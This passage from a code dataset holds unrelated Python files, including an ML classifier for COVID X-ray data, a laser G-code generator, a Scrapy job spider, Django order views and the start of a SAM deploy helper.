model = linear_model.LogisticRegression(C=i,solver='liblinear')\r\n model.fit(X_train, y_train)\r\n score = model.score(X_test, y_test)\r\n test_scores.append(score)\r\n y_pred = model.predict(X_test)\r\n cr = classification_report(y_test, y_pred, output_dict=True, zero_division=0)\r\n cr_s[str(m)] = np.array(list(map(lambda k: [cr[str(k)]['precision'], cr[str(k)]['recall'], cr[str(k)]['f1-score']],range(0, 2)))).flatten()\r\n m += 1\r\n\r\n df_results_model['Test Doğruluk'] = test_scores\r\n\r\n for i in range(len(label_names)):\r\n column_vals = []\r\n for j in range(df_results_model.shape[0]):\r\n column_val = cr_s[str(j)][i]\r\n column_vals.append(column_val)\r\n df_results_model[label_names[i]] = column_vals\r\n\r\n df_final_results = df_final_results.append(df_results_model)\r\n\r\ndf_final_results2 = df_final_results.loc[:,'Model Adı':'Pneumonia_F1-score'].drop(['param_criterion','param_n_estimators'],axis='columns')\r\ndf_final_results2.insert(1,column='Parametreler',value=df_final_results['params'])\r\ndf_final_results2.insert(2,column='Eğitim Doğruluk',value=df_final_results['mean_test_score'])\r\ndf_final_results2.to_excel('Covid_vs_Pneumonia.xlsx')\r\n\r\nbest_model_df = df_final_results2[df_final_results2['Test Doğruluk'] == np.max(df_final_results2['Test Doğruluk'])]\r\n\r\nbest_model = ensemble.RandomForestClassifier(criterion='entropy',n_estimators=50)\r\nbest_model.fit(X_train,y_train)\r\ny_pred_best = best_model.predict(X_test)\r\n\r\n# Confusion Matrix\r\ncm = confusion_matrix(y_test,y_pred_best)\r\ndf_cm = pd.DataFrame(cm,index=['Covid-19','Zatürre'],columns=['Covid-19','Zatürre'])\r\nimport seaborn as sns\r\nsns.heatmap(df_cm, annot=True, fmt='d')\r\nplt.title('Karışıklık Matrisi', fontsize=20)\r\nplt.xlabel('Tahmin', fontsize=15)\r\nplt.ylabel('Gerçek', fontsize=15)\r\nplt.tight_layout()\r\nplt.show()\r\n\r\n\r\nfpr,tpr,_ = roc_curve(y_test,y_pred_best)\r\nplt.figure(figsize=(16,9))\r\nplt.plot(fpr,tpr)\r\nplt.xlim([0, 1])\r\nplt.ylim([0, 1])\r\nplt.title('ROC Eğrisi', fontsize=20)\r\nplt.xlabel('Yalancı Pozitif Oranı', fontsize=15)\r\nplt.ylabel('Doğru Pozitif Oranı', fontsize=15)\r\nplt.show()","sub_path":"with Machine Learning/COVID-19_detection_ml(Covid_vs_Pneumonia).py","file_name":"COVID-19_detection_ml(Covid_vs_Pneumonia).py","file_ext":"py","file_size_in_byte":9237,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"256876081","text":"# imgcode v0.4 27/07/2020\n# utility for CNC lasers image etching\n# developed by M. \"Vidmo\" Widomski \n# github.com/vidmo91\n# hackaday.io/vidmo91\n# \n# this version is intended for use with grbl 1.1 in laser mode\n#\n# correct execution command: python imgcode.py image_path output_file_path x_offset_mm y_offset_mm output_image_horizontal_size_mm pixel_size_mm feedrate max_laser_power number_of_colours\n# e.g. of correct execution commands:\n# python .\\imgcode.py \"C:\\lena.png\" test.nc 0 0 10 0.5 100 1000 2\n# python .\\imgcode.py lena.png test.nc 0 0 10 0.2 220 255 5\n# \n# requirements contains list of modules I had it working on\n# \n# todo:\n# \n# check and correct variable types, round floats\n# add some GUI maybe?\n#\n# \n# \n# \n\n# Copyright 2019 M.Widomski\n# \n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n# \n# http://www.apache.org/licenses/LICENSE-2.0\n# \n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\nimport numpy\nimport matplotlib\nimport matplotlib.pyplot\nimport imageio\nimport PIL.Image\nimport sys\nimport colorama\ncolorama.init()\n\nprint(\"\\n\\n\"+colorama.Fore.CYAN+\"imgcode - simple image etching gcode generator\"+colorama.Fore.RESET+\"\\n\\n\")\n# uncoment for berry veautiful splash screen\n# print(colorama.Fore.GREEN+\"\\t _ __\"+\"\\n\"+\"\\t \\\\ / | | \\\\ |\\\\/| | |\"+\"\\n\"+\"\\t \\\\ / | | | | | | |\"+\"\\n\"+\"\\t \\\\/ | |_/ | | |__|\\n \\t\\tpresents \\n\"+colorama.Fore.RED+\"\\t\\timgcode\"+colorama.Fore.RESET+\"\\n\"+\"\\t\"+colorama.Back.LIGHTCYAN_EX+colorama.Fore.RED+\"mmmh... those aesthetics!!!\"+colorama.Back.RESET+colorama.Fore.RESET+\"\\n\\t\"+colorama.Back.LIGHTCYAN_EX+colorama.Fore.RED+\" just berry veautiful!!! \"+colorama.Back.RESET+colorama.Fore.RESET+\"\\n\\n\")\n\n\n\ndef fileDialog(fileName):\n try:\n f = open(fileName, 'r')\n f.close\n except:\n print(fileName+\" it is\")\n f = open(fileName, 'w')\n f.close\n else:\n answer = input(\n fileName+\" exists, do you want to overwrite it? (Y/n): \")\n if (answer == 'y')or(answer == 'Y')or(answer == ''):\n f = open(fileName, 'w')\n print(fileName+' will be overwritten')\n f.close\n elif answer == 'n'or(answer == 'N'):\n raise NameError(\"Specify right path next time\")\n else:\n raise NameError(\"wrong answer\")\n return f\n\nif len(sys.argv) != 10:\n\n print(colorama.Fore.RED+'Number of arguments:', len(sys.argv), 'arguments. (required 10 arguments)')\n print('Argument List:', str(sys.argv))\n print(\"correct execution command: \")\n print(\"python imgcode.py image_path output_file_path x_offset_mm y_offset_mm output_image_horizontal_size_mm pixel_size_mm feedrate max_laser_power number_of_colours\")\n print(\"e.g. python .\\\\imgcode.py lena.png test.nc 0 0 10 0.2 100 255 5\")\n print(\"e.g. python .\\\\imgcode.py \\\"C:\\\\Documents\\\\laser files\\\\lena.png\\\" \\\"C:\\\\laser files\\\\out files\\\\output_gcode.nc\\\" 0 0 10 0.2 100 255 5\"+colorama.Fore.RESET) \n raise NameError(\"wrong execution command\")\nprint(\"so far so good, now parsing values...\")\n\n# imread and convert to 8bit grayscale\ntry:\n img = imageio.imread(sys.argv[1], as_gray=True, pilmode=\"RGB\")\n print(\"image loaded...\")\nexcept:\n raise NameError(\"Something is wrong with image. Probably path\")\n# imag = imag.astype(numpy.uint8)\n\n# open text file for writing:\nf = fileDialog(sys.argv[2])\n\n# parsing values\ntry:\n x_offset_mm = float(sys.argv[3])\n y_offset_mm = float(sys.argv[4])\n output_image_horizontal_size_mm = float(sys.argv[5])\n pixel_size_mm = float(sys.argv[6])\n feedrate = int(sys.argv[7])\n max_laser_power = int(sys.argv[8])\n number_of_colours = int(sys.argv[9])\n print(\"parameters look OK...\")\nexcept:\n raise NameError(\"Some of parameters are not numbers\")\n\nprint(\"processing...\")\n# reseize image\ny_size_input = len(img)\nx_size_input = len(img[0])\n\n# scale calculation \nx_size_output = output_image_horizontal_size_mm/pixel_size_mm\nscale = x_size_output/x_size_input\n# reseize image\nimg = PIL.Image.fromarray(img,)\nimg = img.resize((int(scale*x_size_input), int(scale*y_size_input)))\nimg = numpy.asarray(img)\n\n# image size calculation\ny_size_output = len(img)\nx_size_output = len(img[0])\n\n# negative for laser etching \nimg=numpy.subtract(255,img)\n\n# set max value of image colour to number of colours \nnumber_of_colours -= 1\nimg = numpy.rint(numpy.multiply(img, number_of_colours/255))\n\n#save preview\nimg_out=numpy.empty((x_size_output,y_size_output))\nimg_out=numpy.rint(numpy.multiply(img, 255/number_of_colours))\nimg_out = img_out.astype(numpy.uint8)\nimageio.imwrite('out_img.png',img_out)\n\n#convert to feedrates\nimg = numpy.rint(numpy.multiply(img, max_laser_power/number_of_colours))\n\n# display preview before processing - requires closing plot window before proceeding \n# img2=numpy.subtract(number_of_colours,img)\n# matplotlib.pyplot.imshow(img2, cmap='gray')\n# matplotlib.pyplot.show()\n\n# flip up-down for simplicity \nimg=numpy.flip(img,0)\n\n#Gcode processing\nf.write(\"( imgcode generated code )\\n\")\nf.write(\"( developed by M. \\\"Vidmo\\\" Widomski )\\n\") \nf.write(\"( github.com/vidmo91 )\\n\")\nf.write(\"( hackaday.io/vidmo91 )\\n\")\nf.write(\" \\n\")\nf.write(\"M4 S0 \\n\")\nf.write(\"F\"+str(feedrate)+\"\\n\")\nf.write(\"G0 Z0 ( for some grbl senders compatibility )\\n\")\nf.write(\" \\n\") \n#add your G-CODE file header here\n# f.write(\"M5 S0\\n\")\n\n\n\n\n\nfor y in range(y_size_output):\n prev_power=int(0)\n \n if 1-y%2:\n # prev_power=int(0)\n for x in range(x_size_output):\n if (x == 0 and img[y][x] != 0): #first point, diffrent from 0\n f.write(\"G0 X\"+str(round(x*pixel_size_mm+x_offset_mm,4))+\" Y\" + str(round(y*pixel_size_mm+y_offset_mm,4))+\"\\n\") \n f.write(\"S\"+str(int(img[y][x]))+\"\\n\") \n prev_power = int(img[y][x])\n elif x==(x_size_output-1):#eol\n if (prev_power==0):\n f.write(\"S0\\n\")\n else:\n f.write(\"G1 X\"+str(round((x)*pixel_size_mm+x_offset_mm,4))+\" Y\" + str(round(y*pixel_size_mm+y_offset_mm,4))+\"\\n\") \n f.write(\"S0\\n\")\n prev_power=0\n elif (prev_power != img[y][x]):#different power\n if (prev_power==0): #transition from 0 to higher power\n f.write(\"G0 X\"+str(round((x-1)*pixel_size_mm+x_offset_mm,4))+\" Y\" + str(round(y*pixel_size_mm+y_offset_mm,4))+\"\\n\") \n f.write(\"S\"+str(int(img[y][x]))+\"\\n\") \n prev_power = int(img[y][x])\n if(prev_power != 0):# transition from some power to another\n f.write(\"G1 X\"+str(round((x-1)*pixel_size_mm+x_offset_mm,4))+\" Y\" + str(round(y*pixel_size_mm+y_offset_mm,4))+\"\\n\") \n f.write(\"S\"+str(int(img[y][x]))+\"\\n\") \n prev_power = int(img[y][x])\n else:\n # prev_power=int(0)\n for x in reversed(range(x_size_output)):\n if (x == x_size_output-1 and img[y][x] != 0): #first point, diffrent from 0\n f.write(\"G0 X\"+str(round(x*pixel_size_mm+x_offset_mm,4))+\" Y\" + str(round(y*pixel_size_mm+y_offset_mm,4))+\"\\n\") \n f.write(\"S\"+str(int(img[y][x]))+\"\\n\") \n prev_power = int(img[y][x])\n elif x==0:#eol\n if (prev_power==0):\n f.write(\"S0\\n\")\n else:\n f.write(\"G1 X\"+str(round((x)*pixel_size_mm+x_offset_mm,4))+\" Y\" + str(round(y*pixel_size_mm+y_offset_mm,4))+\"\\n\") \n f.write(\"S0\\n\")\n prev_power=0\n elif (prev_power != img[y][x]):#different power\n if (prev_power==0): #transition from 0 to higher power\n f.write(\"G0 X\"+str(round((x)*pixel_size_mm+x_offset_mm,4))+\" Y\" + str(round(y*pixel_size_mm+y_offset_mm,4))+\"\\n\") \n f.write(\"S\"+str(int(img[y][x]))+\"\\n\") \n prev_power = int(img[y][x])\n if(prev_power != 0):# transition from some power to another\n f.write(\"G1 X\"+str(round((x)*pixel_size_mm+x_offset_mm,4))+\" Y\" + str(round(y*pixel_size_mm+y_offset_mm,4))+\"\\n\") \n f.write(\"S\"+str(int(img[y][x]))+\"\\n\") \n prev_power = int(img[y][x])\n\nf.write(\"M5 S0\\n\")\nf.close()\n \nprint(colorama.Fore.GREEN+\"\\neverything done, cya!\\n\")\ninput(\"press ENTER to exit\")","sub_path":"imGcode/imGcode.py","file_name":"imGcode.py","file_ext":"py","file_size_in_byte":9266,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"525112436","text":"import os\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nfrom preprocesamiento.funciones import buscar_csv\n\n''' Calcula la media del número de registros del mismo paciente en cada archivo '''\n\n# PARÁMETROS\nruta_carpeta = 'D:/Dropbox/UNI/TFM/datos/3 - Fecha a timestamp'\nruta_grafico = 'Media pacientes repetidos - diagrama de barras.pdf'\nclave_principal = 'PATNO'\n\n# leer tablas\ntablas = [pd.read_csv(ruta_arch, sep=',', float_precision='round_trip') for ruta_arch in buscar_csv(ruta_carpeta)]\n\n# obtener los registros de cada archivo\nregistros = [tabla[clave_principal].values for tabla in tablas]\n\n# número de registros de cada archivo\nnums_registros = [len(registros_arch) for registros_arch in registros]\n\n# número de pacientes únicos de cada archivo\nnums_pacientes = [len(np.unique(registros_arch)) for registros_arch in registros]\n\n# medias de repeticiones\nmedias_repeticiones = [nums_registros[i] / nums_pacientes[i] for i in range(len(registros))]\n\n# generar diagrama de barras\netiquetas = [os.path.splitext(os.path.basename(r))[0] for r in buscar_csv(ruta_carpeta)]\nplt.figure(figsize=(6, 7))\nplt.bar(etiquetas, medias_repeticiones, color='royalblue')\n\n# marcas horizontales\naxes = plt.gca()\naxes.yaxis.grid()\n\n# etiquetas eje x\nplt.xticks(rotation=45, ha='right', rotation_mode='anchor')\n\n# título\nplt.title('Media de nº de registros del mismo paciente')\n\n# guardar\nplt.tight_layout()\nplt.savefig(ruta_grafico)\n","sub_path":"estadísticas/media_repetidos.py","file_name":"media_repetidos.py","file_ext":"py","file_size_in_byte":1452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"431086048","text":"import asyncio\r\n\r\nimport bili_statistics\r\nimport utils\r\nfrom reqs.guard_raffle_handler import GuardRaffleHandlerReq\r\nfrom tasks.utils import UtilsTask\r\nfrom .task_func_decorator import normal\r\nfrom .base_class import ForcedTask\r\n\r\n\r\nclass GuardRafflJoinTask(ForcedTask): # 负责push\r\n TASK_NAME = 'join_guard_raffle'\r\n @staticmethod\r\n async def check(user, real_roomid, try_times=10):\r\n for i in range(try_times):\r\n json_rsp = await user.req_s(GuardRaffleHandlerReq.check, user, real_roomid)\r\n # print(json_rsp)\r\n if json_rsp['data'] and (try_times == 1 or i >= try_times/2):\r\n break\r\n await asyncio.sleep(1.7)\r\n else:\r\n print(f'{real_roomid}没有guard或者guard已经领取')\r\n return\r\n next_step_settings = []\r\n data = json_rsp['data']\r\n for j in data:\r\n raffle_id = j['id']\r\n # 总督长达一天,额外处理\r\n max_wait = j['time']\r\n privilege_type = j['privilege_type']\r\n if privilege_type != 1 and max_wait >= 100 \\\r\n and (not bili_statistics.is_raffleid_duplicate(raffle_id)):\r\n print('本次获取到的抽奖id为', raffle_id)\r\n raffle_data = {\r\n 'raffle_id': raffle_id,\r\n 'room_id': real_roomid,\r\n 'raffle_type': 'GUARD',\r\n 'end_time': max_wait + utils.curr_time()\r\n }\r\n next_step_setting = (-2, (0, 0), raffle_data)\r\n next_step_settings.append(next_step_setting)\r\n bili_statistics.add2raffle_ids(raffle_id)\r\n return next_step_settings\r\n \r\n @staticmethod\r\n @normal\r\n async def work(user, raffle_data: dict):\r\n bili_statistics.add2joined_raffles('大航海(合计)', user.id)\r\n await UtilsTask.send2yj_monitor(user, raffle_data)\r\n\r\n\r\nclass GuardYjLoadPollTask(ForcedTask): # 负责load,不会push\r\n TASK_NAME = 'join_guard_raffle'\r\n\r\n @staticmethod\r\n async def check(\r\n _, __, raffle_id):\r\n json_rsp = {'data': [{'id': raffle_id, 'time': 65, 'privilege_type': 10086}]}\r\n data = json_rsp['data']\r\n for j in data:\r\n raffle_id = j['id']\r\n if not bili_statistics.is_raffleid_duplicate(raffle_id):\r\n print('本次获取到的抽奖id为', raffle_id)\r\n bili_statistics.add2raffle_ids(raffle_id)\r\n return\r\n","sub_path":"monitor/tasks/guard_raffle_handler.py","file_name":"guard_raffle_handler.py","file_ext":"py","file_size_in_byte":2519,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"445093620","text":"# Copyright (c) 2010 Mark Sandstrom\n#\n# Permission is hereby granted, free of charge, to any person obtaining a copy\n# of this software and associated documentation files (the \"Software\"), to deal\n# in the Software without restriction, including without limitation the rights\n# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n# copies of the Software, and to permit persons to whom the Software is\n# furnished to do so, subject to the following conditions:\n#\n# The above copyright notice and this permission notice shall be included in\n# all copies or substantial portions of the Software.\n#\n# THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n# THE SOFTWARE.\n\nfrom declarations import OrderedDeclaration, SubFactory\n\n\nATTR_SPLITTER = '__'\n\n\nclass CyclicDefinitionError(Exception):\n \"\"\"Raised when cyclic definition were found.\"\"\"\n\n\nclass LazyStub(object):\n \"\"\"A generic container that allows for getting but not setting of attributes.\n\n Attributes are set at initialization time.\"\"\"\n\n initialized = False\n\n def __init__(self, attrs):\n self.__attrs = attrs\n self.__values = {}\n self.__pending = []\n self.initialized = True\n\n def __fill__(self):\n res = {}\n for attr in self.__attrs:\n res[attr] = getattr(self, attr)\n return res\n\n def __getattr__(self, name):\n if name in self.__pending:\n raise CyclicDefinitionError(\n \"Cyclic lazy attribute definition for %s. Current cycle is %r.\" %\n (name, self.__pending))\n elif name in self.__values:\n return self.__values[name]\n elif name in self.__attrs:\n val = self.__attrs[name]\n if isinstance(val, LazyValue):\n self.__pending.append(name)\n val = val.evaluate(self)\n assert name == self.__pending.pop()\n self.__values[name] = val\n return val\n else:\n raise AttributeError(\n \"The parameter %s is unknown. Evaluated attributes are %r, definitions are %r.\" % (name, self.__values, self.__attrs))\n\n\n def __setattr__(self, name, value):\n if not self.initialized:\n return super(LazyStub, self).__setattr__(name, value)\n else:\n raise AttributeError('Setting of object attributes is not allowed')\n\n\nclass DeclarationDict(dict):\n def update_with_public(self, d):\n \"\"\"Updates the DeclarationDict from a class definition dict.\n\n Takes into account all public attributes and OrderedDeclaration\n instances; ignores all attributes starting with '_'.\n\n Returns a dict containing all remaining elements.\n \"\"\"\n remaining = {}\n for k, v in d.iteritems():\n if k.startswith('_') and not isinstance(v, OrderedDeclaration):\n remaining[k] = v\n else:\n self[k] = v\n return remaining\n\n def copy(self, extra=None):\n new = DeclarationDict()\n new.update(self)\n if extra:\n new.update(extra)\n return new\n\n\nclass LazyValue(object):\n def evaluate(self, obj):\n raise NotImplementedError(\"This is an abstract method.\")\n\n\nclass SubFactoryWrapper(LazyValue):\n def __init__(self, subfactory, subfields, create):\n self.subfactory = subfactory\n self.subfields = subfields\n self.create = create\n\n def evaluate(self, obj):\n return self.subfactory.evaluate(self.create, self.subfields)\n\n\nclass OrderedDeclarationWrapper(LazyValue):\n def __init__(self, declaration, sequence):\n self.declaration = declaration\n self.sequence = sequence\n\n def evaluate(self, obj):\n return self.declaration.evaluate(self.sequence, obj)\n\n\nclass AttributeBuilder(object):\n \"\"\"Builds attributes from a factory and extra data.\"\"\"\n\n def __init__(self, factory, extra=None):\n if not extra:\n extra = {}\n self.factory = factory\n self._attrs = factory.declarations(extra)\n self._subfields = self._extract_subfields()\n\n def _extract_subfields(self):\n sub_fields = {}\n for key in list(self._attrs):\n if ATTR_SPLITTER in key:\n cls_name, attr_name = key.split(ATTR_SPLITTER, 1)\n if cls_name in self._attrs:\n sub_fields.setdefault(cls_name, {})[attr_name] = self._attrs.pop(key)\n return sub_fields\n\n def build(self, create):\n self.factory.sequence = self.factory._generate_next_sequence()\n\n wrapped_attrs = {}\n for k, v in self._attrs.iteritems():\n if isinstance(v, SubFactory):\n v = SubFactoryWrapper(v, self._subfields.get(k, {}), create)\n elif isinstance(v, OrderedDeclaration):\n v = OrderedDeclarationWrapper(v, self.factory.sequence)\n wrapped_attrs[k] = v\n\n stub = LazyStub(wrapped_attrs)\n return stub.__fill__()\n\n\nclass StubObject(object):\n \"\"\"A generic container.\"\"\"\n\n pass\n","sub_path":"factory/containers.py","file_name":"containers.py","file_ext":"py","file_size_in_byte":5458,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"39588563","text":"# -*- coding: utf-8 -*-\n\"\"\"\n This spider is a JoblineHU spider created on top of the ATSSpider\n scrapy crawl jobline_hu -a mining_job_id=9999 -a iteration=1 -a extract=1 -a url=\"https://jobline.hu/allasok/?o=1\"\n\n sample job url:\n https://jobline.hu/allas/gyartastechnologia_tervezomernok_elektromos_jarmuhajtasok/GT-3038\n\"\"\"\n\nfrom scrapy.http import Request\nfrom scrapy.selector import Selector\nfrom urlparse import urljoin\n\nfrom brightcorp.base.atsspiders import ATSSpider\nfrom brightcorp.items import BrightcorpItemLoader\nfrom brightcorp.processors import Prefix, ConvertDateString, RemoveBadElements\n\n\nclass JoblineHU(ATSSpider):\n\n name = \"jobline_hu\"\n\n def parse(self, response):\n selector = Selector(response)\n jobs = selector.xpath('//div[@class=\"listbox r cl\"]')\n for job in jobs:\n url = job.xpath('.//h1/a/@href').extract()\n if url:\n yield Request(\n callback=self.parse_job_callback(),\n meta={\n 'title': job.xpath('.//h1/a/text()').extract(),\n 'company': job.xpath(\n './/span[@itemprop=\"hiringOrganization\"]/span/a/text()'\n ).extract(),\n 'location': job.xpath(\n './/span[@itemprop=\"addressLocality\"]/a/text()'\n ).extract(),\n 'date': job.xpath(\n './/span[@itemprop=\"datePosted\"]/text()'\n ).extract(),\n },\n url=urljoin(response.url, url[0])\n )\n\n next_page_url = selector.xpath(\n '//a[text()=\"%s\"]/@href' % unicode('Következő »', 'utf-8')\n ).extract()\n if next_page_url:\n yield Request(\n callback=self.parse,\n url=urljoin(response.url, next_page_url[0])\n )\n\n def parse_job(self, response):\n loader = BrightcorpItemLoader(response=response)\n\n loader.add_xpath(\n 'description',\n '//section[@class=\"adv\"]',\n RemoveBadElements(['a', 'img', 'style'])\n )\n\n loader.add_value(\n 'date', response.meta.get('date', ''),\n ConvertDateString('%Y. %m. %d.')\n )\n loader.add_value(\n 'referencenumber', response.url.split('/')[-1],\n Prefix('%s-' % self.name)\n )\n loader.add_value('company', response.meta.get('company'))\n loader.add_value('location', response.meta.get('location'))\n loader.add_value('title', response.meta.get('title'))\n loader.add_value('url', response.url)\n\n yield loader.load_item()\n","sub_path":"brightcorp/brightcorp/spiders/jobline_hu.py","file_name":"jobline_hu.py","file_ext":"py","file_size_in_byte":2754,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"238399617","text":"import feedparser\nimport json\n\n\ndef parse(url):\n return feedparser.parse(url)\n\n\ndef get_books(parsed):\n books = []\n entries = parsed['entries']\n for entry in entries:\n parsed_date = entry['published'].split()[:4]\n books.append({\n # 'book_name': parsed.feed['title'],\n 'id': entry['id'],\n 'audio_file': entry['id'],\n 'duration': entry['itunes_duration'],\n # 'chapter_name': entry['title'],\n 'taught_by': entry['summary'],\n 'subtitle': entry['subtitle'],\n 'published': entry['published'],\n 'parsed_date': ' '.join(entry['published'].split()[:4]),\n 'tags': entry['tags']\n })\n\n result = {'title': parsed.feed['title'], 'books': books}\n print('check below')\n final_data = json.dumps(result)\n print(type(final_data))\n return result\n\n# data = parse(URL)\n# test = get_books(data)\n# json_data = json.dumps(test)\n# print(json_data)\n","sub_path":"api/rss_to_json.py","file_name":"rss_to_json.py","file_ext":"py","file_size_in_byte":980,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"389338488","text":"from models import Fruta\nfrom ProjTeste import app\nfrom flask import render_template \n\n@app.route('/')\ndef index():\n\tbanana = Fruta(nome='banana')\n\tbanana.descricao = 'bananas evitam caibras'\n\tbanana.preco = 3.50\n\tbanana.save()\n\n\tmaca = Fruta(nome='maca')\n\tmaca.descricao = 'macas evitam caibras'\n\tmaca.preco = 2.50\n\tmaca.save()\n\n\tfor fruta in Fruta.objects:\n\t\tprint(fruta.nome)\n\n\treturn render_template('index.html')\n","sub_path":"ProjTeste/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":418,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"454438793","text":"from django.shortcuts import render\nfrom .models import OrderItem, Order\nfrom .forms import OrderCreateForm\nfrom cart.cart import Cart\nfrom paytm import Checksum\nfrom paytm.views import payment\nfrom django.contrib.auth.decorators import login_required\nfrom django.forms.models import inlineformset_factory\nfrom django.conf import settings\nfrom django.forms import formset_factory\n\n\n@login_required\ndef order_create(request):\n cart = Cart(request)\n data_dict={}\n if request.method == 'POST':\n data_dict={}\n for key in request.POST:\n data_dict[key] = request.POST[key]\n OrderFormSet = formset_factory(OrderCreateForm, extra=data_dict['form-TOTAL_FORMS'])\n formset=OrderFormSet(request.POST)\n # form = OrderCreateForm(request.POST)\n if formset.is_valid():\n # order=Order.objects.create(customer=request.user, hostel=data_dict['hostel'], wing=data_dict['wing'], room_no=data_dict['room_no'], phone_no=data_dict['phone_no'], delivery_time=data_dict['delivery_time'])\n # orders = formset.save(commit=False)\n orders_id=[]\n for order in formset:\n order_ID = Checksum.__id_generator__()\n order.instance.order_id=order_ID\n order.instance.customer = request.user\n order.instance.save()\n\n # order.customer=request.user\n # order.save()\n for item in cart:\n OrderItem.objects.create(\n order=order.instance,\n product=item['product'],\n price=item['price'],\n quantity=item['quantity']\n )\n orders_id.append(order.instance.id)\n cart.clear()\n order=Order.objects.get(order_id=order_ID)\n bill_amount=order.get_total_cost()\n return payment(request, order_ID, bill_amount)\n # return render(request, 'orders/order/created.html', {'orders': orders_id})\n else:\n OrderFormSet = formset_factory(OrderCreateForm, extra=1)\n formset = OrderFormSet()\n return render(request, 'orders/order/create.html', {'formset': formset})\n\n\n\n# def create(request):\n# AddressInlineFormSet = inlineformset_factory(Address, Store, form=AddressForm)\n\n# if request.method == 'POST':\n# storeForm = StoreForm(request.POST)\n\n# if storeForm.is_valid():\n# new_store = storeForm.save()\n# addressInlineFormSet = AddressInlineFormSet(request.POST, request.FILES, instance=new_store)\n\n# if addressInlineFormSet.is_valid():\n# addressInlineFormSet.save()\n# return HttpResponseRedirect(reverse('some_happy_customer_url'))\n\n# else:\n# classificationformset = ClassificationInlineFormSet(request.POST, request.FILES, instance=new_store)\n# else:\n# addressInlineFormSet = AddressInlineFormSet()\n# storeForm = StoreForm()\n# return render(request, 'create.html', locals())","sub_path":"orders/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3077,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"278816191","text":"# This Python 3 environment comes with many helpful analytics libraries installed\n# It is defined by the kaggle/python docker image: https://github.com/kaggle/docker-python\n# For example, here's several helpful packages to load in \n\nimport numpy as np # linear algebra\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\nimport seaborn as sns\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.metrics import classification_report\n\n# Input data files are available in the \"../input/\" directory.\n# For example, running this (by clicking run or pressing Shift+Enter) will list the files in the input directory\n\nfrom subprocess import check_output\nprint(check_output([\"ls\", \"../input\"]).decode(\"utf8\"))\n\n# Any results you write to the current directory are saved as output.\ndata_frame_train = pd.read_csv('../input/train.csv')\ndata_frame_test = pd.read_csv(\"../input/test.csv\")\nprint(data_frame_train.shape)\nprint(data_frame_train.head(5))\nprint(data_frame_train.dtypes)\nprint(data_frame_train.describe())\nclass_count = data_frame_train.groupby('type').size()\nprint(class_count)\nsns.set()\n\nsns.pairplot(data_frame_train,hue=\"type\")\nprint(data_frame_test.columns)\ndf = data_frame_train[\"type\"]\nindexes_test = data_frame_test[\"id\"]\n\ndata_frame_train = data_frame_train.drop([\"type\",\"color\",\"id\"],axis=1)\ndata_frame_test = data_frame_test.drop([\"color\",\"id\"],axis=1)\ndata_frame_train = pd.get_dummies(data_frame_train)\ndata_frame_test = pd.get_dummies(data_frame_test)\nfrom sklearn.model_selection import train_test_split\n\nx_train, x_test, y_train, y_test = train_test_split(data_frame_train, df, test_size=0.3, random_state=0)\nfrom sklearn.linear_model import LogisticRegression\n\nlr = LogisticRegression(penalty='l2',C=1000000)\nlr.fit(x_train,y_train)\ny_pred= lr.predict(x_test) \n\nprint(classification_report(y_pred,y_test))\ny_pred = lr.predict(data_frame_test)\n\nY = pd.DataFrame()\nY[\"id\"] = indexes_test\nY[\"type\"] = y_pred\nY.to_csv(\"submission.csv\",index=False)\n\n","sub_path":"kaggle/ghouls-goblins-and-ghosts-boo/script_16.py","file_name":"script_16.py","file_ext":"py","file_size_in_byte":1992,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"}
+{"seq_id":"550362365","text":"\"\"\"\nClass to manage all the prompts during a guided sam deploy\n\"\"\"\n\nimport logging\n\nimport click\nfrom click.types import FuncParamType\nfrom click import prompt\nfrom click import confirm\n\nfrom samcli.commands._utils.options import _space_separated_list_func_type\nfrom samcli.commands._utils.template import get_template_parameters\nfrom samcli.commands.deploy.exceptions import GuidedDeployFailedError\nfrom samcli.commands.deploy.guided_config import GuidedConfig\nfrom samcli.lib.bootstrap.bootstrap import manage_stack\nfrom samcli.lib.utils.colors import Colored\n\nLOG = logging.getLogger(__name__)\n\n\nclass GuidedContext:\n def __init__(\n self,\n template_file,\n stack_name,\n s3_bucket,\n s3_prefix,\n region=None,\n profile=None,\n confirm_changeset=None,\n capabilities=None,\n parameter_overrides=None,\n save_to_config=True,\n config_section=None,\n ):\n self.template_file = template_file\n self.stack_name = stack_name\n self.s3_bucket = s3_bucket\n 